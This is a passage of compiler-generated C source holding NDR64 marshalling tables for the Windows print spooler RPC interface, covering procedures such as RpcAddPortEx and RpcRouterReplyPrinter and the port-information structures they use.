0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* fdwFlags */      /* parameter fdwFlags */\n        &__midl_frag1082,\n        { \n        /* fdwFlags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* fdwOptions */      /* parameter fdwOptions */\n        &__midl_frag1082,\n        { \n        /* fdwOptions */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pszLocalMachine */      /* parameter pszLocalMachine */\n        &__midl_frag1080,\n        { \n        /* pszLocalMachine */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* dwPrinterLocal */      /* parameter dwPrinterLocal */\n        &__midl_frag1082,\n        { \n        /* dwPrinterLocal */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* cbBuffer */      /* parameter cbBuffer */\n        &__midl_frag739,\n        { \n        /* cbBuffer */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pBuffer */      /* parameter pBuffer */\n        &__midl_frag740,\n        { \n        /* pBuffer */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag728_t __midl_frag728 =\n{ \n/*  */\n    { \n    /* *BYTE */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag725\n    }\n};\n\nstatic const __midl_frag725_t __midl_frag725 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag795\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag997\n    }\n};\n\nstatic const __midl_frag724_t __midl_frag724 =\n{ \n/* PORT_VAR_CONTAINER */\n    { \n    /* PORT_VAR_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PORT_VAR_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag728,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag723_t __midl_frag723 =\n{ \n/* *PORT_VAR_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag724\n};\n\nstatic const __midl_frag722_t __midl_frag722 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *BYTE */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag997\n    }\n};\n\nstatic const __midl_frag719_t __midl_frag719 =\n{ \n/* PORT_INFO_FF */\n    { \n    /* PORT_INFO_FF */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PORT_INFO_FF */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */,\n        0,\n        0,\n        &__midl_frag722,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag718_t __midl_frag718 =\n{ \n/* *PORT_INFO_FF */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag719\n};\n\nstatic const __midl_frag717_t __midl_frag717 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    }\n};\n\nstatic const __midl_frag715_t __midl_frag715 =\n{ \n/* PORT_INFO_3 */\n    { \n    /* PORT_INFO_3 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PORT_INFO_3 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */,\n        0,\n        0,\n        &__midl_frag717,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* PORT_INFO_3 */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag714_t __midl_frag714 =\n{ \n/* *PORT_INFO_3 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag715\n};\n\nstatic const __midl_frag710_t __midl_frag710 =\n{ \n/* PORT_INFO_2 */\n    { \n    /* PORT_INFO_2 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PORT_INFO_2 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1081\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1081\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 16 /* 0x10 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1081\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag709_t __midl_frag709 =\n{ \n/* *PORT_INFO_2 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag710\n};\n\nstatic const __midl_frag707_t __midl_frag707 =\n{ \n/* PORT_INFO_1 */\n    { \n    /* PORT_INFO_1 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PORT_INFO_1 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1081\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag706_t __midl_frag706 =\n{ \n/* *PORT_INFO_1 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag707\n};\n\nstatic const __midl_frag705_t __midl_frag705 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_OPERATOR */\n        0x4,    /* FC_EXPR_OPER */\n        0x1b,    /* OP_AND */\n        0x0,    /* FC64_ZERO */\n        (NDR64_UINT8) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_CONST64 */\n        0x2,    /* FC_EXPR_CONST64 */\n        0x7,    /* FC64_INT64 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT64) 16777215 /* 0xffffff */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag704_t __midl_frag704 =\n{ \n/* __MIDL_winspool_0008 */\n    { \n    /* __MIDL_winspool_0008 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag705,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 4 /* 0x4 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag706,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag709,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag714,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 16777215 /* 0xffffff */,\n        &__midl_frag718,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag703_t __midl_frag703 =\n{ \n/* PORT_CONTAINER */\n    { \n    /* PORT_CONTAINER */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PORT_CONTAINER */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag704\n        },\n        { \n        /* PORT_CONTAINER */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag702_t __midl_frag702 =\n{ \n/* *PORT_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag703\n};\n\nstatic const __midl_frag699_t __midl_frag699 =\n{ \n/* RpcAddPortEx */\n    { \n    /* RpcAddPortEx */      /* procedure RpcAddPortEx */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag1080,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pPortContainer */      /* parameter pPortContainer */\n        &__midl_frag703,\n        { \n        /* pPortContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pPortVarContainer */      /* parameter pPortVarContainer */\n        &__midl_frag724,\n        { \n        /* pPortVarContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pMonitorName */      /* parameter pMonitorName */\n        &__midl_frag1081,\n        { \n        /* pMonitorName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag697_t __midl_frag697 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 225 /* 0xe1 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag696_t __midl_frag696 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag697\n};\n\nstatic const __midl_frag695_t __midl_frag695 =\n{ \n/* RpcReplyClosePrinter */\n    { \n    /* RpcReplyClosePrinter */      /* procedure RpcReplyClosePrinter */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 224 /* 0xe0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* phNotify */      /* parameter phNotify */\n        &__midl_frag697,\n        { \n        /* phNotify */\n            0,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag692_t __midl_frag692 =\n{ \n/*  */\n    (NDR64_UINT32) 5 /* 0x5 */,\n    { \n    /* struct _NDR64_RANGE_FORMAT */\n        0xa4,    /* FC64_RANGE */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_INT64) 0 /* 0x0 */,\n        (NDR64_INT64) 512 /* 0x200 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag691_t __midl_frag691 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag692\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag973\n    }\n};\n\nstatic const __midl_frag690_t __midl_frag690 =\n{ \n/* *BYTE */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag691\n};\n\nstatic const __midl_frag686_t __midl_frag686 =\n{ \n/* RpcRouterReplyPrinter */\n    { \n    /* RpcRouterReplyPrinter */      /* procedure RpcRouterReplyPrinter */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 52 /* 0x34 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hNotify */      /* parameter hNotify */\n        &__midl_frag1072,\n        { \n        /* hNotify */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            